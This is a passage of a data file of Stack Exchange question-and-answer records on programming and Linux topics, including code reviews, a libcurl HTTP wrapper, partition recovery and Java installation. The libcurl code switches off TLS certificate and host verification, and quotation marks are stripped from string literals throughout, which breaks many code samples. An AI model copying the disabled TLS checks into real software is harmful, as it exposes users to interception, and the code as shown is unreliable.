simpler) way to do this is to simply keep a running count as the game is played.Use clear function namesThe original code has a function named check but it's not clear what it checks.  I've renamed it to isWinner so that it's very clear now that it's checking to see if a particular player is a winner or not.  I've also reimplemented it to work simply and efficiently no matter what size the array happens to be:// returns true if the player is a winnerbool TicTacToe::isWinner(char player) const{    // check for row or column wins    for(unsigned i = 0; i < mDim; ++i){        bool rowwin = true;        bool colwin = true;        for (unsigned j=0; j < mDim; ++j) {            rowwin &= grid[i*mDim+j] == player;            colwin &= grid[j*mDim+i] == player;        }        if (colwin || rowwin)             return true;    }    // check for diagonal wins    bool diagwin = true;    for (unsigned i=0; i < mDim; ++i)         diagwin &= grid[i*mDim+i] == player;    if (diagwin)         return true;    diagwin = true;    for (unsigned i=0; i < mDim; ++i)         diagwin &= grid[i*mDim+(mDim-i-1)] == player;    return diagwin; }Revise the Game class to be a controllerIn the interest in clearly separating responsibilities of the classes, here is the revised Game class:class Game{public:    Game(std::size_t dim=3) : ttt(players[2], dim), player(1) {}    void run();    void run(const char *move);    void turn();    void showResult() const;private:    const char players[3] = { 'X', 'O', '-' };    TicTacToe ttt;    int player;};The most significant change here is that the turn method is a method of Game rather than of TicTacToe.  This is important because the controller actually controls the game; the model simply reacts to the applied controls.  This makes some alternatives much easier to implement as I'll describe.  Put the player character representations within the Game classThe character representations for each player and an empty space are all solely concerns of the Game class.  They don't need to be in global space as originally defined.Validate user input carefullyThe current code accepts such inputs as (0,B) which should be rejected.  The revised code fixes this:void Game::turn(){    char row = 0;    char column = 0;    std::cout << \\n << players[player] << : Please play. \\n;    for (bool pending = true; pending; )     {        std::cout << Row(1,2,3,...): ;        std::cin >> row;        std::cout << players[player] << : Column(A,B,C,...): ;        std::cin >> column;        column = std::toupper(column) - 'A';        row -= '1';        pending = column < 0 || row < 0 || ttt.applyMove(players[player], row, column);        if (pending)            std::cout << Invalid position.  Try again.\\n;     }    std::cout << \\n\\n;}Note that it also changes the sense of the boolean variable from applied to pending which somewhat simplifies the code and requires no negations.Eliminate pointless obfuscationThe use of std::bind is really not needed in this program and makes the program that much harder to read and understand.  The revised version of run doesn't need them and is easy to read and understand:void Game::run(){    while (!ttt.isWinner(players[player]) && ttt.isNotFull())    {        player ^= 1;        std::cout << ttt;        turn();    }    showResult();}Use const where possibleThe resultScreen function doesn't and shouldn't modify the underlying Game class, and so it should be declared const.  Also, I've changed the name of the function to a more desscriptive showResult and eliminated the need to pass a variable.void Game::showResult() const{    std::cout << ttt;    if (ttt.isWinner(players[player]))        std::cout << \\n << players[player] <<  is the Winner!\\n;    else         std::cout << \\nTie game!\\n;}Note that this code only yields correct results when the game has already ended; one could add a check ttt.isNotFull() to handle any mid-game requests for results.Consider having the computer play by itselfBy separating the turn function in Game from the applyMove function in TicTacToe, we have the first step toward having the potential for the computer to play against a human player.  I haven't implemented that, but I did implement a means by which a game can be run automatically, given a fixed series of moves.  That function looks like this:void Game::run(const char *move){    unsigned row, column;    while (!ttt.isWinner(players[player]) && ttt.isNotFull() && *move)    {        player ^= 1;        std::cout << ttt;        row = *move++ - '1';        column = std::toupper(*move++) - 'A';        std::cout << Applying  << players[player] <<  to              << row+1 << static_cast<char>('A'+column) << \\n;        ttt.applyMove(players[player], row, column);    }    showResult();}Note that this part of the code lacks much in the way of error handling, but it's meant solely as illustration.Putting it all togetherHere's a sample main function that plays one 3x3 tie game automatically, and then allows for two humans to play a 4x4 game against each other:#include <iostream>#include <cctype>#include <vector>// TicTacToe and Game classes go hereint main(){    Game game1;    game1.run(2B1A2A2C1C3A3B1B3C);    Game game2(4);    game2.run();}"  } 
{  "id": "_codereview.42121"  , "question": "I have written an HTTP client wrapped the libcurl.  It should be able to do HTTP get/post with string/map param, with cookies and proxy.Can somebody review the code? B.T.W., I'm not sure the way pass a map into HTTP header is correct, maybe I should remove these two interfaceCURLcode do_http_post(std::string post_url, std::map<std::string, std::string> map_param, void* user_data); and void set_http_header(std::map<std::string, std::string> map_param);.curl_wrapper.h#ifndef CURL_WRAPPER#define CURL_WRAPPER#include <string>#include <exception>#include curl.h#include <map>#define DATA_MAX_LEN CURL_MAX_WRITE_SIZE*30struct client_data;class curl_client{public:    curl_client();    ~curl_client();    CURLcode do_http_get(std::string get_url, void* user_data);    CURLcode do_http_post(std::string post_url, std::map<std::string, std::string> map_param, void* user_data);    CURLcode do_http_post(std::string post_url, std::string post_fields, void* user_data);    void set_http_header(std::string header_param);    void set_http_header(std::map<std::string, std::string> map_param);    void set_http_cookie(std::string cookie_file);    void set_http_proxy(std::string proxy_url);private:    static size_t write_data( char *ptr, size_t size, size_t nmemb, void *user_data);    void set_common_opt(std::string url, void* user_data);    void set_post_fields(std::string post_fields);    void set_post_fields(std::map<std::string, std::string> map_param);    CURLcode perform();private:    CURL* curl_;    CURLcode res_;    curl_slist* p_header_list_;};struct client_data {    client_data() {        size = DATA_MAX_LEN;        used = 0;        buf = new char[DATA_MAX_LEN];    }    ~client_data(){        if (buf!=nullptr){            delete[] buf;        }    }    char *buf;    int size;    int used;};#endifcurl_wrapper.cpp#include curl_wrapper.hcurl_client::curl_client(){    curl_ = curl_easy_init();    p_header_list_ = nullptr;}curl_client::~curl_client(){    curl_easy_cleanup(curl_);    curl_slist_free_all(p_header_list_);}CURLcode curl_client::do_http_get(std::string get_url, void* user_data){    set_common_opt(get_url, user_data);    return perform();}CURLcode curl_client::do_http_post(std::string post_url, std::map<std::string, std::string> map_param, void* user_data){    set_common_opt(post_url, user_data);    set_post_fields(map_param);    return perform();}CURLcode curl_client::do_http_post(std::string post_url, std::string post_fields, void* user_data){    set_common_opt(post_url, user_data);    set_post_fields(post_fields);    return perform();}void curl_client::set_common_opt(std::string url, void* user_data){    curl_easy_setopt(curl_, CURLOPT_URL, url.c_str());      curl_easy_setopt(curl_, CURLOPT_WRITEFUNCTION, curl_client::write_data);      curl_easy_setopt(curl_, CURLOPT_WRITEDATA, user_data);      curl_easy_setopt(curl_, CURLOPT_HEADER, 1);     curl_easy_setopt(curl_, CURLOPT_FOLLOWLOCATION, 1);      // not verify host and ca for https    curl_easy_setopt(curl_, CURLOPT_SSL_VERIFYPEER, 0);    curl_easy_setopt(curl_, CURLOPT_SSL_VERIFYHOST, 0);#ifdef DEBUG    curl_easy_setopt(curl_, CURLOPT_VERBOSE, 1);  #endif}void curl_client::set_post_fields(std::map<std::string, std::string> map_param){    std::string post_fields;    std::map<std::string, std::string>::iterator it;    for (it = map_param.begin(); it!=map_param.end(); ++it){        if (it!=map_param.begin()){            post_fields += &;        }        post_fields += it->first + = + it->second;    }    set_post_fields(post_fields);  }void curl_client::set_post_fields(std::string post_fields){    curl_easy_setopt(curl_, CURLOPT_POSTFIELDS, post_fields.c_str());     curl_easy_setopt(curl_, CURLOPT_POST, 1);  }void curl_client::set_http_header(std::string header_param){    if (p_header_list_){        curl_slist_free_all(p_header_list_);        p_header_list_ = nullptr;    }    p_header_list_ = curl_slist_append(p_header_list_, header_param.c_str());    curl_easy_setopt(curl_, CURLOPT_HTTPHEADER, p_header_list_);}void curl_client::set_http_header(std::map<std::string, std::string> map_param){    std::string header_param;    std::map<std::string, std::string>::iterator it;    for (it = map_param.begin(); it!=map_param.end(); ++it){        if (it!=map_param.begin()){            header_param += &;        }        header_param += it->first + = + it->second;    }    set_http_header(header_param);}void curl_client::set_http_cookie(std::string cookie_file) {    curl_easy_setopt(curl_, CURLOPT_COOKIEJAR, cookie_file.c_str());//save to    curl_easy_setopt(curl_, CURLOPT_COOKIEFILE, cookie_file.c_str());//read from}void curl_client::set_http_proxy(std::string proxy_url){    curl_easy_setopt(curl_, CURLOPT_PROXY, proxy_url.c_str());}size_t curl_client::write_data( char *ptr, size_t size, size_t nmemb, void *user_data){    client_data *the_buf = (client_data *)user_data;    int bytes_passed_in = size * nmemb;    int bytes_written = 0;    if (the_buf->used + bytes_passed_in < DATA_MAX_LEN){        memcpy(the_buf->buf + the_buf->used, ptr, bytes_passed_in);        the_buf->used += bytes_passed_in;        *(the_buf->buf + the_buf->used) = 0;        bytes_written = bytes_passed_in;    }else {        memcpy(the_buf->buf + the_buf->used, ptr, DATA_MAX_LEN - the_buf->used - 1);        bytes_written = DATA_MAX_LEN - the_buf->used - 1;        the_buf->used = DATA_MAX_LEN;        *(the_buf->buf + DATA_MAX_LEN - 1) = 0;        // here libcurl will signal an error for intact data written.    }    return bytes_written;}CURLcode curl_client::perform(){    if (curl_) {        res_ = CURL_LAST;        try {            res_ = curl_easy_perform(curl_);        } catch (std::exception e){        }        return res_;    }}An HTTP get test case: void curl_get_googleplay(){        curl_client curl;        client_data user_data;        CURLcode res = curl.do_http_get(std::string(play.google.com/store/apps/details?id=com.teamviewer.teamviewer.market.mobile), &user_data);    }"  , "title": "Wrapping Curl, an HTTP client"  , "tags": "c++;http;curl"  , "accepted_answer": "Looking at your header file:Replace the #define DATA_MAX_LEN with a static const variable; Do the same with any other constant that is #define-d.Pass more complex parameters by const reference, to avoid making a copy (urls, parameters maps, etc).You define client_data structure for (I assume) receiving the results; If it is strongly typed, why do you pass it in by void*? This just allows client code to call your API in a way that will corrupt your code (e.g. a client might decide to pass there a pointer to a std::vector<uint8_t> instead).You do not use RAII and smart pointers (you probably should)After looking at your code, it is still unclear to me, if I would be able to use it to read the HTTP response headers (e.g. I want to know if the response came with the Cache-Control header specified, and what was it's value).Consider returning the result data as a return value (instead as an output parameter) and raising an exception in case you get a HTTP error. This would allow you to specify other error conditions as well.Just looking at the interface (not the implementation) I have no idea how your class will behave if I call with invalid parameters.Code:curl_client curl;client_data user_data;curl.set_http_cookie(\\\\); // does this throw? What does it throw?Looking at your implementation file:Your perform function calls curl_easy_perform (a C function) inside a try/catch block for std::exception. Exceptions are a C++ thing (i.e. curl_easy_perform will never throw an exception -- that's why it's using return codes to signal errors).You are using C-style casts; Don't! (see my point above about removing the void* code).There is no reason at all to use raw pointer and memcpy. Consider using std::vector instead (it will be safer, more efficient, exception-safe and already tested).set_post_fields concatenates strings into a different string, in a loop. Consider using a std::ostringstream instead."  } 
{  "id": "_webmaster.49707"  , "question": "I have an eCommerce store and it sells digital downloads. The website is hosted in the US, but I have a large customer base that is outside the United States in different countries.I know the hosting here will be fast for US customers, but how can I make it fast for viewers all around the world? Because when someone outside the US accesses the website, the request will always go to the US data center. Is it possible that when the site is accessed from outside US (e.g: UK), the request should go to UK (or nearest) data center?If I buy different TLD's .co.uk, .com etc. for different countries (but should target same website), then is it possible that in UK, it should open .co.uk. I can achieve it using IP locator and redirect the user to the respective URL? But how does the request go to the nearest server?Is it possible via CDN, cloud, cloud hosting, or something else? How can I achieve this goal?"  , "title": "How to host a website in multiple countries for fast response times"  , "tags": "web hosting;multiple domains"  } 
{  "id": "_unix.57986"  , "question": "I'm using Pulseaudio. The image is of the Output Devices tab and shows the Port set to Analog Output. This is fine and works great. There's another option called Headphones but if you try and set the Port to Headphones it automatically switches back to Analog Output. This is also fine because I don't want to use that portThe problem is that if the volume increases over 87% it automatically switches to Headphones port, which in turns auto switches back to Analog and back and forth quickly and forever making lots of clicking noises.Perhaps related to that Base marker on the volume control?No idea here, very strange behavior."  , "title": "Pulseaudio rapidly switches ouputs at high volumes"  , "tags": "linux;audio;alsa;pulseaudio"  , "accepted_answer": "I used alsamixer to mute the headphones channel. That solved the problem."  } 
{  "id": "_codereview.124945"  , "question": "I wrote a Brainfuck interpreter in JavaScript, however it is quite buggy and I can't figure out what I'm doing wrong. It works for programs I've written, but fails on most programs I find on the internet. It seems that the while loop doesn't work correctly when it is supposed to skip over. When debugging, the value of i (index) behaves as I intended. In addition, I feel that my code is overly complicated for such a simple task, and I think there might be a way to simplify my code, although I can't think of a way :(Here is the code:function execBrainf() {  document.getElementById(output).value = ;  var ptr = 0, i, ii;  var cells = new Array(), labels = new Array();  for (i = 0; i < 30000; ++i)    cells[i] = 0;  for (i = ii = 0; i < document.getElementById(code).value.length; ++i) {    switch (document.getElementById(code).value.charAt(i)) {      case '>':        ++ptr; break;      case '<':        --ptr; break;      case '+':        cells[ptr] = (++cells[ptr] % 256); break;      case '-':        cells[ptr] = (--cells[ptr] % 256); break;      case ',':        cells[ptr] = (ii > document.getElementById(input).length ? 0 : document.getElementById(input).value.charCodeAt(ii++)); break;      case '.':        document.getElementById(output).value = document.getElementById(output).value + String.fromCharCode(cells[ptr]); break;      case '[':        (cells[ptr] == 0 ? i = document.getElementById(code).value.indexLoopEnd(i) : labels.push(i)); break;      case ']':        (cells[ptr] == 0 ? labels.pop() : i = labels[labels.length - 1]); break;    }  }}function indexLoopEnd(i) {  var x = 1;  while (x > 0) {    switch (this.charAt(++i)) {      case '[':        ++x; break;      case ']':        --x; break;    }  }    return i;}I am using the html here: http://esotools.ml/brainfuck/interpreter.htmlI am looking for:- what the problem is- suggestions on making the code prettier- suggestions for improving the algorithmI am not too concerned about optimization yet, and would like to focus on these three things."  , "title": "JavaScript Brainfuck interpreter"  , "tags": "javascript;interpreter;brainfuck"  , "accepted_answer": "Store document.getElement(s)By... callsYou call the method document.getElementById quite a lot in this code, and it's all to get the same exact elements: input, output, and codeWhile it is a wonderfully useful method, it is also expensive so it's best to reduce the calls to it as much as possible.function execBrainf() {  var input = document.getElementById(input);  var output = document.getElementById(output);  var code = document.getElementById(code);FlexibilityThe above tip is somewhat linked to this.Right now, your code works only a very specific environment: there must be three elements with specific IDs and specific information in them else this is not going to work.Yes, I understand, you wrote this for that specific environment, but we can still make the code more easy to test if we instead have the function take the code, input, and output through parameters:function execBf(code, input) {Then, you could easily test this code by passing in strings as the code and input, and have the function return the output (thanks to Pieter Witvoet for proposing a better idea than functions)Simplify setting the cells to 0This is borrowing from a very good answer I once read.Rather than iterating 30000 times to initialize an array's values to 0, you can define a function that will return 0 for a cell's value based on its index if the cell's value is undefined (which is the default value for JavaScript array values).function getCell(i) {    return cells[i] || 0;}Now you don't have to go through that long loop.Misc.Create new arrays with [], not new Array()....value.indexLoopEnd(i) Is that a bug/mistype/mis-version? You only defined indexLoopEnd as a function."  } 
{  "id": "_softwareengineering.273023"  , "question": "In Stephen Cleary's article in MSDN magazine Introduction to Async/Await on ASP.NET he says that every thread pool thread on a modern OS has a 1MB stack.  (modern OS == Windows 7/8 for this discussion)  But I thought that this was 1MB of virtual memory, and that physical memory was allocated dynamically as the stack grew.  Based on my dated C++ threading knowledge on other OSs, I believe that actual stack sizes rarely exceed 64k, especially in languages that make heavy use of the heap like .NET.Does Windows allocate 1MB of physical memory, or does the stack dynamically allocate more memory as needed?  Maybe it is cheaper to allocate it all up front now and rely on swapping it out as needed?  I was going to test this using the profiler but I don't see how to get the stack size from it."  , "title": "How much physical memory is consumed by the stack of a .NET thread?"  , "tags": ".net;multithreading;windows;stack;memory usage"  , "accepted_answer": "The link Robert Harvey added as a comment does explain this more explicitly, but, by default, Windows allocates 1MB of virtual memory which is committed as physical memory as needed (as you described)."  } 
{  "id": "_softwareengineering.180050"  , "question": "I am an experienced Java programmer, and I want to create a complex web application requiring dynamic pages, drawings, etc (take SO as an example). Do I have to learn javascript/html in order to create such an application?It is not that I don't want to learn another language (I've done this before), but technology on the javascript environment seems to change so fast that when you finish learning one framework it is already obsolete. I have checked a number of java framework for web development (spring, play), but not deeply. So can these frameworks (or other possible java frameworks that I'm not aware of) be used without learning html/javascript? I also have some python experience. So if I can do the app in python it is also an option."  , "title": "Do I have to learn html and javascript to create web applications?"  , "tags": "java;javascript;python;web applications;html"  , "accepted_answer": "You don't have to learn JavaScript and HTML to create web applications.But you will.If you really want to write webapps in mostly Java, have a look at the Google Web Toolkit, which does vast amounts of Java to JS, and can satisfy a good chunk of the code needed for a webapp. Django is a similar framework for Python.And if you really want to avoid writing HTML there are vast amounts of templates and What-you-see-is-what-you-get editors out there.But you see, regardless of the abstraction framework and HMTL templates you start with, at some point you'll be dissatisfied with the presentation. And so you'll get enough HTML/JS on your hands to change the one tiny little thing you want. And another thing. And another.And then one day you'll wake up in a cold sweat.And that's how you'll learn. That's how a lot of us learned, back in the era of point-and-click website makers like Geocities. After a while, if you're serious about the web, you'll learn the languages of the web, intentionally or not.So you don't have to learn HTML and JavaScript to make a site like StackOverflow. But if you really try and make a site like StackOverflow, you won't be able to stop yourself from learning them."  } 
{  "id": "_codereview.122730"  , "question": "A friend of mine was practicing his programming skills with a textbook meant to prepare students for computer science exams. He asked for help with a specific task.The task is to capture user input (day of week and a year in the range 1500 to 2005 inclusive), and output all instances of the weekday in February that year.The differences between the Julian and Gregorian calendars are to be accounted for.Now, most likely the idea behind this task was to have the student create an algorithm to manually calculate the dates. However, as Java SE seems to be allowed in exams in my country, I came up with the idea of utilizing the GregorianCalendar class (which, despite its name, combines the Julian and Gregorian calendars).package calendar;import java.text.DateFormat;import java.util.GregorianCalendar;import java.util.HashMap;import java.util.Locale;import java.util.Scanner;public class CalendarTask {    public static void main(String[] args) {        GregorianCalendar cal = new GregorianCalendar();        HashMap<String, Integer> daysOfWeek = new HashMap<>();        daysOfWeek.put(monday, cal.MONDAY);        daysOfWeek.put(tuesday, cal.TUESDAY);        daysOfWeek.put(wednesday, cal.WEDNESDAY);        daysOfWeek.put(thursday, cal.THURSDAY);        daysOfWeek.put(friday, cal.FRIDAY);        daysOfWeek.put(saturday, cal.SATURDAY);        daysOfWeek.put(sunday, cal.SUNDAY);        System.out.print(Enter day of week: );        Scanner sc = new Scanner(System.in);        int dayOfWeek, year;        try {            dayOfWeek = daysOfWeek.get(sc.next().toLowerCase());            System.out.print(Enter year (1500-2005 inclusive): );            year = Integer.parseInt(sc.next());            if (year < 1500 || year > 2005) throw new Exception();            System.out.println(Output:);            DateFormat df = DateFormat.getDateInstance(DateFormat.MEDIUM, Locale.GERMANY);            cal.set(cal.YEAR, year);            trySetDay(cal, dayOfWeek, 1);            do {                System.out.println(df.format(cal.getTime()));                cal.add(cal.DAY_OF_MONTH, 7);            } while (cal.get(cal.MONTH) == cal.FEBRUARY);        } catch (Exception e) {            System.out.println(Incorrect input!);        } finally {            sc.close();        }    }    private static void trySetDay(GregorianCalendar cal, int dayOfWeek, int weekOffset) {        cal.set(cal.MONTH, cal.FEBRUARY);        cal.set(cal.WEEK_OF_MONTH, weekOffset);        cal.set(cal.DAY_OF_WEEK, dayOfWeek);        if (cal.get(cal.MONTH) != cal.FEBRUARY) trySetDay(cal, dayOfWeek, weekOffset + 1);    }}Example input and output (dates are output in DD.MM.YYYY format):Enter day of week: MondayEnter year (1500-2005 inclusive): 2000Output:07.02.200014.02.200021.02.200028.02.2000The trySetDay() method is meant for cases when the attempted day belongs to the previous month. In such a case, the week offset is increased by one to make sure we're dealing with February.This code works fine and I'm satisfied with it. The catch is there to handle NullPointerException (when attempting to assign null, a possible result of HashMap.get(), and also when parsing the year) and a generic Exception set to limit the possible input to the range 1500 to 2005.What can be improved about this code? Is there anything that caught your eye instantly and that could be done better? Any and all feedback is appreciated.Also, is it a good idea to access static class members via an instance of the class? Such as cal.MONDAY (where cal is an instance of GregorianCalendar), instead of GregorianCalendar.MONDAY?"  , "title": "Find all instances of a given weekday in February for a given year"  , "tags": "java;datetime"  , "accepted_answer": "Java 8 Time APIsInstead of the 'legacy' Calendar and DateFormat classes, you can rely on Java 8's new java.time.* APIs for more fluent chronology-related calculations.For starters, your manually constructed Map can be replaced with a simple look-up on the DayOfWeek enum:// scanner will be a wrapper over System.inprivate static DayOfWeek getDayOfWeek(Scanner scanner) {    String values = Arrays.toString(DayOfWeek.values());    System.out.printf(Enter a day of week:%n%s%n, values);    while (true) {        try {            return DayOfWeek.valueOf(scanner.nextLine().trim().toUpperCase());        } catch (IllegalArgumentException e) {            System.err.printf(Please try again with one of these:%n%s%n,                    values);        }    }}The looping-validation ensures that only a valid DayOfWeek value is returned.Next, you can use a couple of TemporalAdjusters to get the LocalDates you require:firstInMonth(DayOfWeek): the first day-of-week of the month.lastDayOfMonth(): the last day of the month.next(DayOfWeek): the next day-of-week, i.e. 7 days from the LocalDate instance.Then, with a helpful serving of DateTimeFormatter, the main processing logic can just be:try (Scanner scanner = new Scanner(System.in)) {    DayOfWeek dayOfWeek = getDayOfWeek(scanner);    // getYear(Scanner) returns an int between the year range, MONTH = 2    LocalDate first = LocalDate.of(getYear(scanner), MONTH, 1)                                .with(TemporalAdjusters.firstInMonth(dayOfWeek));    LocalDate last = first.with(TemporalAdjusters.lastDayOfMonth());    DateTimeFormatter formatter = DateTimeFormatter.ofLocalizedDate(FormatStyle.MEDIUM)                                                    .withLocale(Locale.GERMANY);    for (LocalDate date = first; !date.isAfter(last);            date = date.with(TemporalAdjusters.next(dayOfWeek))) {        System.out.println(formatter.format(date));    }}Other observationsIt's not recommended to throw a generic Exception as it's... too vague. You can consider using IllegalArgumentException for invalid year inputs outside \\$[1500, 2005]\\$, as the exception type is then more defined.More importantly, you shouldn't be throwing your own Exceptions and then catching it purely as a form of flow control.HashMap<String, Integer> daysOfWeek = new HashMap<>() can be better written as Map<String, Integer> daysOfWeek = new HashMap<>(), to program to an interface rather than the implementation.As illustrated above, you should also consider using try-with-resources on the Scanner instance for safe and efficient handling of the underlying I/O resource."  } 
{  "id": "_unix.335690"  , "question": "I recently overwrote ~100MB from the beginning of my 1TB external hdd using the dd command. This means my partition tables have likely been lost. fdisk -l shows no partition information.However since I actually had my drive mounted while issuing the dd command, the data on the drive (all partitions) can be accesed with the file explorer. The external hdd is still connected to the computer. This leads me to believe that the partition table can be recovered.Searches on this topic recommend data recovery tools that can restore the partition table, but these options assume the drive has been disconnected from the computer.Looking at /proc/partitions gives the size of each block device, but not their offsets in sectors.I assume that since i can view the file structure in nautilus, the partition offsets must be known. Is there a way to expose this information?"  , "title": "Recovering partitioning information from block devices"  , "tags": "linux;partition;ntfs"  , "accepted_answer": "You can get partition information from /sys, precisely from /sys/block/<disk>/<partition>/{start,size}.This shell function may help you::print_partitions(){    local disk=$1    local part    local template=%-6s %16s %16s %16s\\n    printf $template Part. First sector Last sector # sectors    for part in /sys/block/$disk/sd*; do        st=$(cat $part/start)        sz=$(cat $part/size)        end=$((st + sz - 1))        printf $template ${part##*/} $st $end $sz    done}Usage:$ print_partitions sddPart.      First sector      Last sector        # sectorssdd1               2048          2099199          2097152sdd3            2099200       3907029167       3904929968Note: sectors here are 512 byte sectors.For a full dump of your partitions:for disk in /sys/block/sd*; do    print_partitions ${disk##*/}    echodoneNote that you may also have overwritten precious information at the beginning of the first partition, like an ext superblock, but this is another story question."  } 
{  "id": "_softwareengineering.266975"  , "question": "I'm attempting to make an online game with a mini-economy in it. The challenge is that the only person selling anything will be the website itself, and hence the supply and demand curve doesn't apply (as it costs the website nothing to produce the items being sold).  Products sold will have several factors that contribute to its value.  Each of these factors can be represented by a number, but it is difficult to know if product X is better than product Y if X has a better A and Y has a better B.  The monetary value of each factor (and thus, each product) is hard for me to calculate, which is why I would like an economy to do that for me.Some products are upper-end products, and should be inaccessible to players who don't have the money.There will be several types of products on the market, each serving completely different purposes in the game.I'm guessing that there will be a larger number of lower-level players.I have three ideas on how to develop it:Generate an initial price on each product.  Each time a person buys a product A, the price of A goes up a fixed amount, X, and the price of every other product goes down X/(# of products).Generate an initial price on each product.  Each time a person buys a product A, the price goes up X.  Each minute, the price of A goes down Y.Produce each product at a fixed rate, with lower amounts of high-end products.  Upon production, add the product to an auction, where each player can cast a bid on the amount he will pay.  The initial bid will be generated.I believe that method #1 and #2 will overvalue low end products, and undervalue high end products, so #3 is my favorite.  #3 also only has 1 value for me to generate, while #1 and #2 have multiple.  However, #3 may have problems if the initial bid is too high for the products, or it produces products at a lower rate than it should, causing a shortage.Is auctioning off products the best way to determine the product's price?  Is there a better way to do this?"  , "title": "How to code a one-sided virtual economy"  , "tags": "algorithms;economics"  , "accepted_answer": "Virtual economies can be very hard to get right. Fortunately, by not having players selling items they've crafted/looted themselves you've simplified the problem somewhat: you can control supply, which will allow you to prevent the massive deflation in item values that can occur when they're produced in much higher volumes than they're consumed.A couple of other problems to watch out for:Can players transfer items between themselves? If so, this will reduce demand for low level items substantially, as players trade away items they no longer need.(assuming you're talking about selling items for game currency, not real money) what prevents high level players from accumulating extremely large amounts of cash, which might cause runaway inflation?Assuming you have good answers to these (item decay, where items quality is reduced with use, is one possible answer to both problems, but a lot of players don't like it), auctions are a good bet. You can generate the initial bids as a percentage of recent selling prices for similar items, which should solve that problem. And then keep an eye out for products which often don't sell, or which always attract a lot of bids, as these could be warnings that you've got the resupply rate wrong.Here are a few must-read articles on online game economies:http://psychochild.org/?p=1179http://www.raphkoster.com/2006/09/07/agc-mmo-economies/http://www.raphkoster.com/2012/03/20/do-auction-houses-suck/"  } 
{  "id": "_unix.381695"  , "question": "I have issues with reading csv format like this:foo,bar foo, foo bar, foo, bar, farbar, foobar foo, foo , bar, fobar, barTechnically, both lines should have 5 fields accordingly with separator ,.awk -F, '{print NF}' resolver.csv 66This is where problem goes. AWK treats , as a separator between quotations marks, and provide non accurate results. Giving the separator like -F ',' makes things only worse.awk -F, '{print $3}' test.csv  foo bar foo Any work around?"  , "title": "Problem with csv and separator awk"  , "tags": "text processing;awk;csv"  } 
{  "id": "_unix.116699"  , "question": "What is the easiest way of installing JRE on my Debian OS (Linux)?"  , "title": "What's the easiest way of installing JRE on Debian?"  , "tags": "linux;debian;java"  , "accepted_answer": "It depends on the version of the language and the version of the implementation you're after.Sun/Oracle JRESun used to provide .deb packages for Java 6 that where present in Debian's official packages. So installing it was pretty straightforward:sudo apt-get install sun-java6-jreHowever they do not provide deb packages for Java 7. They do provide, however binary packages you can install like this:wget http://download.oracle.com/otn-pub/java/jdk/7/jdk-7-linux-x64.tar.gztar zxvf jdk-7-linux-x64.tar.gz -C /usr/lib64/jvm/update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.7.0/bin/java 1065Alternatively, you can look for user-supplied repos that provide a .deb packages (trust these at your own risk, since it's not officially supported by Debian). You can add this repo (source):echo deb http://ppa.launchpad.net/webupd8team/java/ubuntu precise main | tee -a /etc/apt/sources.listecho deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main | tee -a /etc/apt/sources.listapt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys EEA14886apt-get updateInstalling Java 7 becomes straightforward:apt-get install oracle-java7-installerOpenJDKOpenJDK is an open source implementation of the Java language specification and it's available in the Debian repository. You can install it with apt-get:sudo apt-get install openjdk-6-jresudo apt-get install openjdk-7-jre"  } 
{  "id": "_unix.46127"  , "question": "I have a directory with a big load of sub directories. I own all of them, and the permissions are all 777.pascal@azazel /box $ ls -altotal 147872drwxr-xr-x 293 root   root      12288 ao 22 19:44 .drwxr-xr-x  25 root   root       4096 jun 28 18:49 ..drwxrwxrwx   7 pascal pascal     4096 ao  4  2010 131082[...]I want to rename the directories:pascal@azazel /box $ mv 131073 NewNamemv: impossible de dplacer 131073 vers NewName: Permission non accordeThe message is in French, basically it said that I don't have the permission to rename (move) the directory.What is happening?"  , "title": "Can't rename a directory that I own"  , "tags": "permissions;files;directory;rename"  , "accepted_answer": "Renaming a file (whatever its type, including directories) means changing its name in the directory where it is located. In fact, renaming and moving inside the filesystem are the same operation; the file is detached from its old name and attached to its new name, which requires modifying both the source and the destination directory (for renaming inside one directory, the source and target directories are the same). The upshot is that you need write permission on the containing directory, /box in your example.These are exactly the same permissions you'd need to copy the file then remove the original, by the way."  } 
{  "id": "_unix.62707"  , "question": "I am refining a bash/yad script which runs when an event reminder is triggered in KOrganizer. (yad is a drop-in replacement for zenity.  It is being actively developed and has many more features and options.)When a normal KOrganizer reminder is triggered - especially a recurring one, you get a lot of information that is less than useful.This is a very simple script, but it makes a big difference.  It pops up an information box on top of the reminder that can have whatever you want in it to clearly describe the event.I'm having trouble getting it to work again.  (It worked fine around a year ago when I last used it.)I have isolated the problem to the way KOrganizer passes arguments to the script.  Passing HAPPY_BIRTHDAY works.Modifying the script to accept multiple arguments and passing it HAPPY BIRTHDAY works.But, what I want to pass it is something like<span color=\\#FFD700\\>\\t\\t\\t\\tHAPPY BIRTHDAY\\!\\n\\n\\t\\t\\t\\t\\tTo ME\\!</span> which works from the command line, but I have no idea how to do it from KOrganizer.The script works fine from the command line. #!/bin/bash## custom_reminder## Copyleft 01/26/2013 - JPmicrosystems## Creates a pop up reminder for use with## korganizer## Usage: custom_reminder reminder text##   reminder text can contain some special characters like \\n##   Theoretically, it can also conatain some markup tags##   Got simple span to work in bash, but not insde korganizer yetif [ -z ${1} ]then  MSG=ERROR - NO MESSAGEelse  MSG=${1}fikstart --ontop -- yad --title Personal Event Calendar --info --text=${MSG} --width=300 --height=100The script is installed using edit existing reminder.  Select What: Run application/script and enter the script name custom_reminder in Application/Script and the text in Arguments:.  Any ideas would be appreciated."  , "title": "Passing arguments to KOrganizer event reminder bash/yad scripts"  , "tags": "bash;productivity;kde4;calendar"  } 
{  "id": "_cs.23474"  , "question": "Have a question that requires me to write the rules for parsing a turing machine This is the questionThe PROBLEM involves writing a set of Turing Machine rules that will read and determine whether or not an input corresponds to the rules of a Turing Machine. This is the rst step of a Universal Turing Machine. For example, if the input is a legal set of rules, then the machine shall accept this input (and any other legal input that describes a Turing Machine).The input would be IO = current state with the number of  I's indicating what stateI = would be the current symbol being true with O being falseIIO  = next state I = next symbol with O being falseI or O = direction with I being left and O being rightso a legal input would be IOOIIOOI     which would be state 1 = current state false = next state 2 = next state false = leftHow would I write the rule so that if I ran it through and it detected that the rules did not conform to the legal input it would place II at the beginning of the input and if its correct put OO at the beginning."  , "title": "Parsing Turing Machine"  , "tags": "turing machines;parsing"  } 
